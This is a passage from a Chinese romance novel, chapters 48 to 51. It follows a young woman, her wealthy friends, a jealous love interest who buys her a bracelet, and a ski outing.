为了她，卫煜险些和家里人闹翻，为了她，他搭上友情让齐泽玄替他冒险，为了她，他一直不肯去相亲，单身到现在。现在来看，她确实有这个资质。 温芷茵注视的这段时间里，也感觉到卫煜有好几次在聊天中偷瞄过那个林小姐，可女孩就像没看到一样毫不理会。 “林小姐难道不喜欢卫煜?”她小声嘀咕一句。 “也不是，两人以前谈过一段时间，被父母知道后就断绝来往了。林念微心狠啊，说断就断，哪儿像煜哥还对她一往情深。” “那两家父母为什么不同意啊?”温芷茵好奇心占据了上风，也顾不上矜持了。 “祖辈上有过世仇，先人立誓世世代代绝不联姻。”何珍轻叹一声，“都说先人栽树后人乘凉，这倒好，先人结仇后人遭殃。” 温芷茵沉默片刻，从心里感到惋惜，不自觉地也跟着叹了口气。 “怎么这么消沉的样子。”一道清冽的嗓音在身后响起。 温芷茵回身望去，看见齐泽玄就站在距离她两米的位置。一身挺阔的黑色西装，却仍然收不住身上那股桀骜不羁的劲儿。 “没有……跟何珍姐聊天呢。” 他两步走了过来，眼神毫不掩饰地打量着她。 小姑娘今天和平时很不一样。 向来不施粉黛的她今天画了淡妆，五官被点缀地极其秀丽迷人，穿着粉色的连衣裙，像一株待开的荷花。 齐泽玄喉结滚动了下：“嗯，看来你们的感情培养得不错。” “那当然”,何珍抱起她的胳膊，“可比某人强呢。” 温芷茵略显拘谨地攥着裙边，抿嘴笑了下。 “舞会马上要开始了，先过去吧。”齐泽玄和她的眼神对视上，温芷茵轻点头，跟着他一起走向中央的位置。 很快，齐泽玄加入了卫煜一家人的话局里，他们看起来对他都很熟悉，脸上带着礼貌的微笑。 悠扬的旋律换成了活泼的小提琴曲，意味着舞会开始了，一对对男女携手涌入舞池。 何珍已经挑好了舞伴，欢快地旋转起来，这时候，一位陌生男士走过来，询问温芷茵是否可以跳支舞。 男人一头利落的短碎发，骨相优越，也很谦逊，她没有拒绝的道理。温芷茵犹豫着，心里在敲鼓。 其实她对跳舞的兴趣不大，或许是因为何珍说了那么一句，才去学的交际舞，至于现场怎么应付，都没有仔细想过。可现在，她的内心确实在发出抵抗。 “抱歉，我……”“没关系”,男人直起身，“不想跳我也不会勉强。”看着他走远的背影，温芷茵松了口气。 所以，她真的只是因为何珍去学的跳舞吗?温芷茵脑中闪过一个片段，那是上次舞会时，齐泽玄漫不经心地说了一句：“你要是会跳舞就好了。” 心脏开始剧烈跳动起来，她立即止住了这个想法。还在发愣的时候，听到耳边一个声音传来：“林念微，你就这么绝情吗?”温芷茵抬头，看到卫煜站在林小姐的旁边，脸色很不好看，显然是刚刚被拒绝了邀请。"卫煜，我希望你明白一点，我们已经没有可能了。"她的表情很冷，说出的话理智得过分，这更让卫煜恼火。 此刻大多数人都沉浸在音乐和舞会里，两人似乎没太刻意压低声音，温芷茵离得不远，几乎全部听了进去。“所以你和他们一样，只在乎家族的规矩，我们的感情在你心里不值一提，对不对?”“我很珍惜过去的感情，但那只代表过去，我现在更在意未来的生活。” 卫煜咬着牙：“我的未来计划有你，可你的未来没有我，这就是区别。” 林念微眉毛拧在一起，摇摇头：“你太天真了，没有人能抵抗家族的规则，我的生活里不止是爱情，还有亲情事业，很多很多东西。”“你有很多在意的东西，唯独没有我，我为你坚持到了现在，可你一点尝试的机会都不想给我。” “算了，跟你说不明白。”林念微掀了掀嘴唇，揽起另一个男人的胳膊头也不回地走向舞池。温芷茵一时心中五味陈杂。 她从没有见过卫煜这样失态的时候，他向来温和沉稳。原来面对自己爱的人真的会变得不一样。 胡思乱想完，等她再次抬眼，恰好对上了另一个男人的视线。齐泽玄就站在不远处，静静地看着她。温芷茵紧张起来，手指也不自觉蜷起。下一秒，就看到齐泽玄的脚步抬起。 然而，她没有注意到的是，此时满脸愤怒的卫煜已经先一步走了过来。等她侧目时，卫煜已经伸出手：“知知，能请你跳个舞吗?” 48、第四十八章 温芷茵惊讶地看向卫煜。 他的表情平静，看不出在想什么,但眼神里的情绪显然没在她身上。 温芷茵猜测到，对他来说，这大概算是对林小姐的一种“报复”行为。 两人作为关系清白的朋友，不会担心对方误会，的确很适合演这出戏。 但…… “学会跳舞了吗。”卫煜清润的嗓音再次响起，试图提醒她。 没有时间再考虑，温芷茵深吸一口气：“学会了。”然后伸出手。 在卫煜牵着她转身的一刹那，温芷茵忍不住看了一眼他身后的方向。——刚才站在那里的男人已经不见了。 …… 卫煜的手几乎是虚扶着她的腰，即便如此，温芷茵还是很紧张。有好几次，她的脚差点踩在他的鞋子上。 “今年底就要参加考试了吧?”卫煜似乎看出她的不自在，主动打破了沉默。 温芷茵反应过来，他应该说的是公务员考试。 "嗯，是。" “复习得怎么样?” “还可以，暑假我打算再报个冲刺班。” 其实她对自己目前的进度不是很满意，但此刻精神太紧张了，没办法集中注意表达自己想说的话，只能随便应付一下。温芷茵的鞋跟不高，卫煜的身高比齐泽玄应该是稍矮一点，她不用费力去够他的肩膀，如果换作是齐泽玄的话，可能会跳得更艰难……温芷茵摇摇头，不明白自己为什么要想这些。 此刻，恰好林念微和她的舞伴转到了旁边，卫煜用余光瞟了一眼，突然将温芷茵拉近。虽然她知道两人的身子并未碰到分毫，但在外人看来，这样的姿势已经非常暧昧了。林念微一双桃花眼转了一圈，眉头紧锁，又将舞伴拽远。这样近的距离，温芷茵甚至能闻到他身上温润细腻的香水味。和齐泽玄不同，应该是喷了那种很商务很高端的男士香水，一缕缕沁入鼻尖，侵蚀着她的神经。 同样类似的场景，也发生过一次。温芷茵在脑中浮现出那张又痞又傲的脸，那时的他还带着一副坏笑：小姑娘，演技不错嘛。 像是受惊了一般，她猛地推开了卫煜。“抱歉——我。” 卫煜停下脚步，手放下来，沉默片刻。“应该说抱歉的是我，我不应该利用你。” “我理解，你也是情非得已。”温芷茵向后退了退，“没事的话——我先去休息了。” “好。” 两人机械地完成这段对话，温芷茵总算逃离出来。在穿出人群时，撞上了满脸惊恐的何珍。 她也顾不得舞伴了，一把拉住她的胳膊：“知知，什么情况啊这是，你怎么跟煜哥跳上舞了?” 温芷茵垂下眼：“没，凑巧都是落单而已。” “不是——那也不能”,何珍四处张望，焦躁地拉着她远离人群，“你跟他跳舞，姓齐的知道吗?” 温芷茵迟疑了一瞬，没有直接回答。 她是当着他的面被卫煜带走，他肯定是知道的，可是为什么何珍要这么问，温芷茵不理解。 “他应该知道吧。” 何珍睁大了眼：“知道，他还——”她的话没说完，突然止住了。 温芷茵回头，顺着她的目光看去。 正前方的桌子旁，齐泽玄正单手插兜，靠在那里拎着一瓶鸡尾酒。手中的酒瓶已经下去了三分之二，他是直接拿瓶子喝的。 温芷茵感到何珍拽着她的手紧了紧。 齐泽玄仰头灌下最后一口。 像是感应到什么,他侧身望去，对上两人的视线。 “咚”地一声，瓶子被扔到桌上，滚了一圈才停稳。 “要不，你先走吧……”何珍从牙缝里挤出一句话。 温芷茵也感觉到了气氛不对，虽然不知是何原因。 就在她们还纠结的时候，齐泽玄抬脚慢慢走了过来。 他眼中不带任何情绪，即便面色平静，也让人感觉莫名地渗人。 走到两人面前时，他说了跟何珍一样的话。“你先回家吧。”他是冲着温芷茵说的。 温芷茵咬了下嘴唇。这种没由来的压迫感已经让她无法思考太多，只轻声应道：“好。” 离开礼堂的时候，门口的侍卫面露诧色，提醒一句：“午宴还没开始，您这就走了吗?” “是的，麻烦了。” 温芷茵匆匆来到换衣间，脱下裙子时因太着急，被拉锁划了下手指。一道鲜红的印记显露出来，她无暇顾及疼痛，穿好自己的衣服，把礼服重新塞进包里。这个时间回去父母一定会问，还是先去吃个饭吧。 “你瞪我干嘛?我让她学跳舞，也没想她会跟卫煜跳啊。”何珍心虚地看着眼前的男人，早知道，她就不该提醒她，白白当这个冤大头。 齐泽玄淡淡移开视线：“一会儿你见到卫煜，告诉他我在楼下停车场等他。”他没头没尾地撇下这句，转身离开了大厅。 何珍撇撇嘴，想吐槽又不知道说什么。舞会已经结束了，她绕着宴会厅找了一圈，终于找到了正在和父亲交谈的卫煜。 她和伯父打了声招呼，然后附在卫煜耳边小声道：“你有麻烦了，玄哥找你在停车场约架呢。” 卫煜低头看了她一眼，那表情像是在说：你发什么神经。 何珍急了，跟卫父表示借一步说话，拉着他走到一边：“你自己做错了事不知道吗?谁让你跟知知跳舞的。” “我跟她跳舞怎么了。”卫煜仍旧一副漫不经心地模样，时不时看向人群，似是在搜寻谁的身影。 “我说你俩这方面还真是——挺配，一样的傻白甜，啊不对，你一点儿也不甜。” 卫煜终于皱起眉：“谁俩?你说谁傻。” 何珍叹口气：“不傻，现在流行的词应该叫钝感力是吧。大少爷，你赶紧去吧，等见到楼下那位祖宗你就明白了。” 卫煜抬手看了下时间，距离午宴还有二十分钟。他和父亲说明了一下，然后下了楼。 嘉宾停车的位置在地下，只有贵宾车放到了楼后地上停车场，齐泽玄应该在那。 在一众高端商务车里，他的车非常扎眼。一辆蓝色帕加尼风之子，犹如蓝色幽灵般悬浮在半空。 卫煜走到车前，蓝色翅膀打开，他看到里面的男人在抽烟。 “你怎么了，为什么跑来这里，宴会马上开始了。” 齐泽玄没出声，香烟夹在细长的手指间，被他碾出痕迹。几秒后，他吐出一口烟雾："坐。" 卫煜弯腰坐了进去。沉吟片刻，缓声开口：“因为我和知知跳舞的事吗?” 齐泽玄靠在座椅上，躬着身子，头微低，没有了往常那股懒散劲儿，莫名生出一丝凉意。"卫煜，我们认识有二十年了吧。" 他和齐泽玄是上小学那年认识的。 那时候两家都住在京城根儿下的大院，又是同校，上下学都一起。齐泽玄从小叛逆，带着他爬树翻墙，两米多高的墙院他一撑手就能翻过去。 后来父母各自带着他们搬了出去，只留爷爷奶奶在那，两人会时常回去看望老人。说起来，上次的手链原本以为藏在奶奶那里不会被发现，结果还是被父亲派来的人堵在了门口，多亏他和知知帮忙才能护住。 “是，整整二十年了，时间过得真快。” 沉默良久，齐泽玄再次开口：“我们一共吵过几次架，你还记得吗。” "六七次吧，反正没超过十次。" 卫煜在某些方面确实不敏感，可也不算真的傻，他隐隐猜出了什么,但不敢确定。 “今天是你的生日，我不想跟你吵架。”齐泽玄掸了掸烟灰，“我也不管今天你是出于什么原因，我只希望以后不要再发生这种事情，好吗。”尽管努力克制，他威胁的语气还是太过明显。 这一刻，卫煜感到很恼火。 他不是他的敌人，也不是路边惹事的混混，有什么不满的大可以直接说出来，不必用这样威胁的方式。 “随便吧，你爱怎么想就怎么想，我问心无愧。”下车之后，又撇下一句：“午宴若是不想参加，我也不勉强。” 上了楼之后，面对应接不暇的客人，他没空思考太多，尽管心里发堵，还是暂时把这件事抛在了脑后。 直到午宴结束，也没再见到齐泽玄的身影。理智稍微回归一些，卫煜给何珍发了条信息：【他喜欢知知，对吗?】 何珍只回了四个字：【你觉得呢?】 卫煜吐了口气。跟父亲说他有事，需要提前离场。反正已经临近结束，卫父倒是没说什么,又叮嘱几句，便让他走了。 卫煜不确定齐泽玄在不在西山壹号院，给他打了几通电话，他也没接。甚至按响门铃的时候，还在想他如果不在这里还可能去哪儿。 齐泽玄站在门口，身上有些消颓。他给他开了门，但是没有放人进去的意思。 卫煜先开了口：“对不起，我不知道你喜欢她。” 齐泽玄的表情变换了一瞬，紧接着又恢复平静：“你听谁说的。” “我自己猜的。” 他把着门的手放了下来，转身进了屋，卫煜也跟着走了进来。 客厅的地上散落着几听易拉罐，不知道是酒还是什么。卫煜的眼皮跳动了几下。 “你打我一拳吧。”他指了指自己的侧脸。 齐泽玄靠着电视前的玻璃柜坐了下来，脸上笑得渗人：“你以为我会跟你动手吗?” 卫煜无言，手臂无力地垂在两侧。 下一秒，就看见齐泽玄抄起地上捏扁的易拉罐，朝他的方向扔了过来。 “咣当”一声，易拉罐从他眼前飞过，狠狠撞在墙壁上，顺着沙发滚落了下来。 49、第四十九章 易拉罐里剩余的液体撒了一地，又在地上转了好几圈儿，才彻底停下来。 “叮叮咚咚”地声音在空寂的客厅里格外刺耳。 这是卫煜认识他二十年来，第一次冲他发这么大火。 先前他和史策都有过怀疑，齐泽玄对那个小姑娘是不是动了心，但他自己否认了，加上两人也无明显暧昧行为，卫煜一直觉得，他应该是把她当妹妹宠的。看来何珍说的没错，他确实有点“单纯”了。 卫煜往前走了两步，捡起罐子，放到茶几上，然后看着那个坐在地上的男人：“气消了吗?” 他的声音比在停车场时平稳了许多，没再带着怒气。今天是他的错。 卫煜很明白那种感受，林念微和别人跳舞，他也一样想发疯，一样做出了失智的举动。 所以，他任打任骂。 “要是还觉得火大，你直接丢这儿。”他指了指自己的脸。 齐泽玄冷眼盯了他几秒，侧过头。 卫煜又把地上其它的易拉罐捡了起来，他发现，大部分都只喝了一半，但也不得不承认，齐泽玄的酒量真不错。喝了这么多也看不出醉的迹象，除了一身酒味。他唯一担心的是他平时不怎么喝酒，这么猛地来一次把胃喝成胃穿孔。 卫煜站在他旁边，拿出手机：“我给你买点药备着，顺便叫医生过来。” 齐泽玄皱起眉，胳膊一抬抽走他的手机，往地毯上一扔：“你烦不烦。” 卫煜笑了。 多年相处的经验，他能听出这个语气表明他已经没那么生气了。 齐泽玄的衬衫领子上沾了些酒渍，卫煜记得，这件是他最喜欢的衬衫，突然心中又涌起一阵自责。他从玻璃橱窗里拿出一袋面包，递给他：“垫垫胃。” 这次他没有拒绝，单手接过，撕开，无声地嚼着。 “所以，既然喜欢她，为什么一直没有行动。”卫煜顺势坐在旁边。 沉默片刻，他继续追问：“其实我跟史策都挺好奇的，当年你们之间到底发生了什么?她为什么要拉黑你。” 齐泽玄身子往柜边一靠，淡淡开口：“你话太多了。” 卫煜想说出史策的分析，又觉得没有必要。这么多年来，他和齐泽玄之间一直都是可以分享秘密，但不强求。再好的朋友，都需要保留一点自己的隐私。 “不想告诉我啊——”卫煜摸了摸下巴，“行，那不聊这个，再说回刚才的话题。” 他往他的方向挪了挪：“我记得那时候你说她太小，我理解，二十岁以内都会有罪恶感，那现在她二十一了，是不是——” “卫煜，你觉得你跟林小姐会有未来吗。”齐泽玄突然打断他。 他和林念微……在当年她狠心说出那句“分手”的时候，卫煜就有种感觉，林念微没有他想象得那么爱他。可是他不甘心。 这句话就像一把剪刀，把他心中这么多年紧绷的那根弦终于剪断了。卫煜闭上眼。他一直知道答案，但是从来不敢正面面对过。甚至有时候做梦都会梦见，他和林念微重新出生在了普通人家，没有家仇恩怨，也没有祖辈规训，谁都阻挡不了他们在一起。 卫煜心下了然，这一刻，也总算明白了他一直在担心什么。他试探着劝慰：“知知也是好人家出身的姑娘，万一齐老爷子能同意呢?” 齐泽玄嗤笑一声：“你还不了解他?这么多年，他的刻板迂腐你不是没见过。” 两人都没再说话。屋里一阵长久的沉默。 “所以，这才是你一直没有行动的真正原因。”卫煜从桌上的方盒里敲出一根烟，他很少抽，刚点上就呛了嗓子。 齐泽玄淡笑一声，声音带着点凄凉：“我们这种人，只是家族延续的工具罢了…”喜欢又算得了什么——这句话没说出口，像是想到了一些不好的回忆，他伸手截过卫煜的烟，掐灭：“不会抽就别抽了。” 齐泽玄站起来，去冰箱里拿了罐酸奶。 话题一过，卫煜想起了另一件事情：“对了，砸你茶楼那帮人的底细查到了吗?” “没有，我调了很多人资料都没查到线索，齐明修那边暂时也没消息。” “邪了，跟你结过仇的也一点没印象吗?” 他“嘶”了一声，思考着说：“会不会是那个暴发户，就那天吃大排档挑衅被你揍的那个，叫什么来着——” “陆盛。” “对，就是他。” 齐泽玄摇头：“我调查过，跟他没关系。”“不过，说起这个……”他脑中突然想起一个人。 "怎么了?"卫煜看到他在发愣。“你听说过厉家吗?”“没印象，不是咱们圈子的吧。” “不是，怪不得没查到过。”齐泽玄舔了舔嘴边的奶渍，“等我探探路。” 晚上还有家宴，卫煜没待太久。临走前，他又转回来，忍不住问了句：“你真不怕后悔?” “后悔什么。” “别装傻，我觉得咱俩的情况还是不太一样。”卫煜开始分析，“你们没有世仇，而且知知的性子绝不会像林念微那么——”说到这的时候，他明显顿了一下，缓了几秒才说出后面两个字：“——绝情。” “或许过几年齐老爷子变豁达了，你现在不追，说不定那时候人家已经跟别人谈上了。” 齐泽玄睨了他一眼，不置可否。 “我是好心帮你，别到时候又找我来哭——” “废话真多。” 齐泽玄一把将他推出门外，锁上了门。 翌日清晨，壹号院公寓。齐泽玄被闹钟吵醒，从床上坐了起来。 他掐住太阳穴，努力让自己清醒一点。到底还是忽视了酒精的作用。 今天公司有新商场开业剪彩活动，需要领导站台。他本来是要出席的，但头疼地厉害，很想再闷一觉。 挣扎一番，最后还是被理智战胜。 今天他不打算自己开车，叫来司机后直接在车上睡了一会儿，到达现场时，正好是九点半，活动已经进行一半。 “少爷，现在下车吗?”司机小心问道。 “不用，等合影了再叫我。” 剪彩仪式是在商场的门口，车子就停在了旁边的停车场，现在是各个领导发言的时刻，他懒得去听这些假大空的话。 大约过了二十分钟，终于到了最后的合影环节。 齐泽玄从黑色奔驰车上走下来，对面立即迎来一位穿着西装的男士。他打量片刻，印象中应该是场地合作乙方的项目总裁。 方磊从这辆奔驰车开进门口时，就注意到了车牌号码，让身边助理盯着这辆车上的人。如果有人下来，立即通知他。 作为项目总裁，他多少还是掌握一些情报信息的。这位姓齐的先生，合作时介绍的身份是策划总监，但方磊知道，他实际上可是甲方齐家的大公子。“齐先生，您来的正是时候，合影要开始了，我们一起入场吧。”他脸上堆着笑。 “好。” 齐泽玄和方磊站在了中间的位置，他没什么表情，像是来走个过场，只是外貌在一众大腹便便的领导们之间显得格外突出。如果不是知晓他的身份，还以为是哪里请来的明星。 合影结束，又“被迫”和其他领导寒暄了几句，完后准备打道回府。他今天出现在这里，能够代表甲方的态度，就已经足够了。 司机开好门，齐泽玄正欲弯腰进车，眼角忽地瞥见一个似乎有些熟悉的身影。他不确定，微顿一瞬，抬头望去。 这个时候商场已经正式开业，第一批在门外守候的顾客往里走着，因为是第一天开业，很多店会有折扣，顾客还不少。她的身影就夹杂在人群里，穿着一件黄色羽绒服，很快便消失。 “少爷?” 齐泽玄只稍作迟疑，然后摆手：“我去商场里巡视一下，你在这等着。” “明白。” …… 半小时后，齐泽玄在商场二层的首饰展区看到了那一抹黄色。 小姑娘今天仍是把头发两侧扎了起来，她脸庞小，额头饱满，这样把整个脸露出来更好看。在她的旁边，还有一位应该是一起来逛的同学，齐泽玄有印象，在英国的时候照过面。 首饰区的金银珠宝种类很多，两人此刻正趴在玻璃柜上，指着下面一排金色的手链在讨论。 齐泽玄走上前，两人似乎看得太认真，没太注意旁边的人，直到他开口：“看上哪个了?” 温芷茵蓦地抬头，脸上露出惊诧的表情：“你、你怎么在这?” 对于她这样的反应，齐泽玄习以为常。笑着说："和你一样，来逛商场。" “噢——”她轻轻应诺一声，眼里还带着些不理解。或许是想不通他这样的有钱人怎么会赶在折扣日来这里挤。 这时，旁边的女孩眨巴着大眼睛，似是非常“懂事”地提出：“你们慢聊，我回避一下。”说完也不给旁边人解释的机会，直接跑去了对面的店里。 温芷茵：“……” 齐泽玄想起来，在英国的时候，他谎称自己是她的男朋友，这位同学应该是误会了两人的关系。依照她的性格，事后一定会去解释，但大概又嘴笨地解释不清。齐泽玄不自觉地向上扯了扯嘴角。 “我……其实只是随便来逛逛，没打算买。”温芷茵垂下长睫，能看出耳尖有些泛红。话音刚落，服务员走了过来：“您好，您刚才问的这条手链是打八折，折后21999。” …….温芷茵皮笑肉不笑地点头：“谢谢，我知道了。”“是带着蝴蝶的那条吗?”齐泽玄看向玻璃柜里。 服务员：“是的先生。” “拿上来看看吧。” 温芷茵惊慌地想说什么又不好驳他的面子，直到服务员稍微离远一点时，才轻轻拽了拽他的袖子：“还是有点贵，让服务员放回去吧。”金色非常有质感的一条手链，中间镶着一只翡翠绿色的蝴蝶，很雅致的美。 “我觉得挺适合你的。”齐泽玄拉过她的手腕，"戴上看看。" 她的皮肤白，很适合戴颜色鲜明的首饰，连温芷茵自己都不好意思说出“不好看”三个字。 齐泽玄看她的眼神多了份柔情：“我送你吧。” 温芷茵慌忙摆手："不、不用了。" 知道她一定会拒绝，往常的话，齐泽玄也不会太勉强，怕她有心里负担。 但是今天，莫名地想强硬一次。 “服务员，这条帮我装起来。” 温芷茵彻底慌了神，手足无措地看着他：“这个真的不行，太贵了，而且也不是什么节日的——”她的意思是，也不是过生日，朋友之间就没必要互送礼物了。 闻言，齐泽玄摸了摸脖子，似是不经意提起：“我记得昨天是什么节日来着?” 50、第五十章 温芷茵第一反应是，昨天是卫煜的生日，他们还一起参加他的生日宴来着。 可是这跟她说的有什么关系? 紧接着，她又想起，昨天……好像还是情人节…… 这好像更没什么关系。温芷茵不解地看向他。 注意到那抛过来的疑惑目光，齐泽玄敛起眉，声线低了几分：“我的意思是，昨天卫煜生日宴让你提前走了，很抱歉，算是对你的补偿。” 也不知道这个理由她相信了多少。齐泽玄收回目光，在她还琢磨时，走向了收银台。 工作人员拿过他的卡，刷完后，表情怔了怔，似乎是认出了他的名字。随后打量他几番，惊奇地瞪大眼睛：“您不是——”这个意外倒是让齐泽玄没预料到。想着应该是商场负责人培训时讲过公司的组织层领导，他当即做了个噤声的动作，对面立即闭了嘴。 “已经付完款，请您收好。”工作人员恭恭敬敬地递上卡和装好首饰的袋子。 已经买下了，温芷茵显然也不好再推辞。她抬手捋了捋头发，试图掩饰内心的不自在，却忘记今天把头发扎起来了。手上的动作扑了个空，只好顺势摸了摸发顶，僵硬的举动使气氛变得更加焦灼。 齐泽玄目光闪烁了一瞬，替她圆了场："下次我生日的时候记得还我个礼物。" “一定，一定……”温芷茵再次说声“谢谢”,然后和他道了别。“那我就先去找同学了，她还在等我。” “嗯，去吧。” 温芷茵小跑着去了对面的店里，看那个样子，生怕他再多跟她说一句话似地。每次慌张的时候都是这样。 齐泽玄一直看着她走远后，才慢悠悠从口袋里掏出手机。划开屏幕，点进微信。 打从进这个店开始已经连续震动了好几次，他到想知道是哪个催命鬼。 卫煜：【后天要不要去滑雪，我买了票。】【后天要不要去滑雪，我买了票。】【后天要不要去滑雪，我买了票。】【后天要不要去滑雪，我买了票。】 …… “……” 齐泽玄直接拨了过去：“你手机坏了吗?还是屁股坐在上面了。”对面的人笑了声：“看你一直没回复，怕你漏掉。”齐泽玄无语地撇撇嘴，出门的时候，听到门口的服务员非常恭敬大声喊了一句：“您走好!” 卫煜：“你在逛店啊，还以为忙什么呢，这么久没消息。” 齐泽玄：“别扯没用的——”然后微顿了下，“后天我没空，你问问别人吧。” 卫煜像是不经意轻叹两声，听着多遗憾似地：“我叫了很多朋友，你真的不去吗?” “不去。” “那可别后悔噢。”完了，又故意停了停，“知知也去呢。” 温芷茵回到家后，踢掉鞋子，把羽绒服往沙发一扔，直接扑在了床上。明明没逛多久，身上却跟散了架似地。 还好夏昭没再多问她和齐泽玄的事情，也省得自己绞尽脑汁解释了，只不过看她的样子，似乎已经默认了两人的关系……温芷茵叹了口气，又从床上爬起来。 袋子看起来非常精致，这个品牌她听说过，是非常有名的大牌子，温芷茵把手链从盒子里拿出来，看了又看。即便没有过多的装饰，还是那么漂亮。 然而一想到价格……算了，还是先别戴了，放抽屉里保存吧。 她将手链小心地装回去，然后塞进了抽屉里的最底层。 虽然父母对她的管教严格，但在家里还是很尊重她的隐私，从来不会在没有同意的情况下去翻她的抽屉。 温芷茵有一个日记本，小学的时候就开始零零散散地记录一些日常，一直写到高中才收笔，之后便一直是空白了。只是在最近一段时间，又新添了几行。 【头等舱机票：1340*2】【吃饭：200+310+150….】 【刻浮雕：……】 …… 温芷茵拿起笔，写下：【蝴蝶手链：21999】 写完之后，她扶着脑袋看着这些数字，感到头大。到现在为止算起来得有好几万了，天呐，她要几个月的工资才能还上啊。 温芷茵埋头痛苦面具几分钟后，听到叶清澜在客厅喊了一声：“闺女，中午想吃什么?” 温芷茵抬眼，努力收回游离的神经：“京酱肉丝吧。” “行，让你爸买些豆片去。” 恰好，桌子上的手机屏幕亮了。温芷茵拿起来，看到发送消息的人露出微微惊讶的神情，竟然是卫煜。 卫煜：【有没有兴趣和我们一起去滑雪?】她稍稍愣了一会儿，心说虽然想去，但是完全不会滑。思考片刻，手指敲下：【挺感兴趣的，但是我没滑过能行么?】 卫煜：【没事的哈哈，都是从第一次来的，滑两下就会了，很简单。】他说简单，可能是他的感觉，温芷茵觉得对自己来说大概率不简单。温芷茵想了想，决定拉上个熟人。 温芷茵：【行，那我可以带个同学一起嘛?】 卫煜：【当然可以。】 想着反正是她们自己买票，也不会觉得占他便宜。温芷茵：【那什么时候去?】 卫煜：【后天上午在南龙滑雪场，我们大概九点到，滑雪设备可以现场租，滑雪服如果介意别人穿过的话最好自己带。】他很贴心地说明了一些事项，温芷茵表示感谢。紧接着，下一条微信给宋纤凝发了过去。 宋纤凝和他们一起玩过，应该还比较熟悉了。她的信息很快回复过来：【嗯，我没问题。】 两人又聊了一些需要准备的东西，然后便开始在网上挑选滑雪服。看了半天，最后下单了一套粉紫色的，包括头盔，雪镜，衣服，护具，雪鞋。 装备准备完毕，还差理论课程。温芷茵点开某视频网站的滑雪入门教程。 南龙滑雪场算是京市最大的滑雪场之一，温芷茵和宋纤凝到的时候，门口站的人不少，但没见到有熟悉的面孔。想着他们可能已经进去了，便直接去了休息区换衣服，又租了两套滑板。 果然，两人穿着滑雪服从屋子走出来，看到了已经整装待发的卫煜。他穿着一身藏蓝色滑雪服，此刻正在拿手机发消息。温芷茵低头瞧了一眼，手机屏幕亮了起来。 她赶紧走上前，喊了一声他的名字。 卫煜抬头，看到一身粉紫色和一身橙色的两个小姑娘，笑着和她们打了声招呼。 温芷茵发现，在他的旁边还有好几个不认识的朋友，即便有的五官不算出众，但气质胜于常人，一看就是来自富贵人家。 “纤凝，这个姐姐滑得很好，可以让她带带你。”卫煜指了指旁边的人，此刻一位正在戴雪镜的女孩热情地冲她们招了招手。宋纤凝突然被点名，一时没反应过来，吱唔着说："噢，好、好的，谢谢。" 卫煜转向温芷茵：“至于你的教练——应该刚到，等他一会儿吧。” “啊?”温芷茵惊讶道，“你给我请了教练?” “嗯，你们第一次滑还是有个教练一对一指导比较好。”他笑着说完，然后对宋纤凝勾了勾手，“还不过来?”宋纤凝红着脸走了过去，到雪道上时晃了一下身子，卫煜还伸手扶了一把。 温芷茵挠了挠脑袋，一时不知道卫煜葫芦里卖的什么药。他让自己的朋友教导宋纤凝……等等，他说的教练该不会是…… 几分钟后，温芷茵便看到了从休息区里走出的这位教练。 身高非常惹眼，一身黑色的装备，心不在焉地迈着长腿往前走，版型统一的滑雪服在他身上也显得高贵几分。温芷茵在心里印证了自己的猜测。 不过，和往常不同的是，他的衣服不是纯黑色了，多了几道白色，莫名散发着一股青春的气息。“这个眼神看着我，是惊讶我会来吗?”齐泽玄眉梢轻挑，一开口还是带着戏谑的味道。“没有，只是没想到卫煜说的教练是你。”为了应付过去，她稍稍撒了个谎。 “你以为他会从外面给你花钱请教练?”"怎么可能，他哪会像我对你这么大方。" 本是无心的一句话，却让温芷茵更加不知所措了。她含糊着说：“嗯……是，你对我最好了。”霎时，空气静止下来。 雪道上熙攘的人群明明离得很近，可那些吵闹的声音就像听不到似地，耳边只有风声和心跳声。 “知道就好。”齐泽玄声音很轻地回了一句。 “那……现在我们开始吗。”齐泽玄低头看了一眼：“雪鞋是你自己穿的?”温芷茵点头：“嗯，我在家里看了一些入门教程。”接下来，他做了一个让温芷茵没有想到的动作。齐泽玄蹲下身，仔细检查了一下她的鞋扣，用手拉了拉固定带。他就这样蹲在自己面前，一点架子没有。阳光照射下来，映在他宽阔的后背上，温芷茵晃了下神。 “好了，我教你穿滑板。” 两人选的都是双板，齐泽玄拿自己的滑板示范了一下：“先用前脚尖卡进前面的固定器，脚后跟对准后面的脱离器，再用力一踩就好了。”这个动作并不难，温芷茵照着样子穿上之后，走了两步，只感觉脚下好像拖着重铊，走起来非常费劲。“想脱下来的话，就用雪杖的杖尖对准脱离器的凹槽，向斜后方用力一顶。” “嗯。” 温芷茵慢慢走上雪道。 虽然做好了心理准备，到了实战还是手忙脚乱地，还没走超过十步，脚下一滑，直接摔了个屁股蹲儿。 她总算知道宋纤凝刚刚为什么走得一步三晃了，这在雪里走和陆地上完全是两种感觉。 齐泽玄将她拉起，责备的语气里莫名带着些宠溺：“一眼看不到就摔倒，看来我今天有的忙了。” 他将她的雪镜摘下，扣到额头上：“刚开始不用戴这个，不方便看路。” 视线瞬间清明了许多，温芷茵眨了眨眼睛，适应下光线。那张轮廓分明的脸也瞬间无比清晰地呈现在眼前，温芷茵咽咽嗓子，移开目光。 “我们要上传送带吗?”她指着那长长的一道像机场里行李输送带似的设备问。她在视频里看过，需要站在这上面传到山顶再滑下来。 “还真是没学会走路就想跑啊。”齐泽玄轻轻弹了下她的脑门，“你这个样子去到最上面，想一路摔下来吗?还是让我背你下来。”“先在山脚滑。” “噢——”温芷茵吐了吐舌头，不好意思地同时又想什么时候才能去体验一下“高处不胜寒”的感觉。 她向四周看去，附近聚集了一群的初学者。有颤颤巍巍学步的，有刚从上面滑下来整理设备的，也有拍照的，一眼扫去没有看到宋纤凝和卫煜一行人的踪影。 温芷茵在山脚的平地处走了好几圈之后，终于适应了一些。正要问是不是可以进行下一步了，看到齐泽玄冲她伸出手：“带你往坡上走一点，然后滑下来。” 他的意思是，要拉着她走么? 虽然两人都戴着手套，但还是觉得有点尴尬…… 山脚有一大片的缓坡，似乎是为新手准备的。温芷茵瞄了一眼，这个坡度，自己走应该也没事吧。 当她还在走神的时候，齐泽玄突然又问了一句："卫煜伸手邀请你的时候，也迟疑了这么久吗?" 51、第五十一章 温芷茵想起，卫煜邀请她的时候，她反而没有任何尴尬或羞赧的情绪，只是吃惊了一瞬。也不知道为什么。确实没犹豫太久。 他的话像是在提醒，同样是异性朋友，怎么能区别对待呢? 温芷茵不知道怎么回答他的问题，下意识地伸出手。落入他掌心的一刹那，齐泽玄手指收拢，紧紧攥住了她。 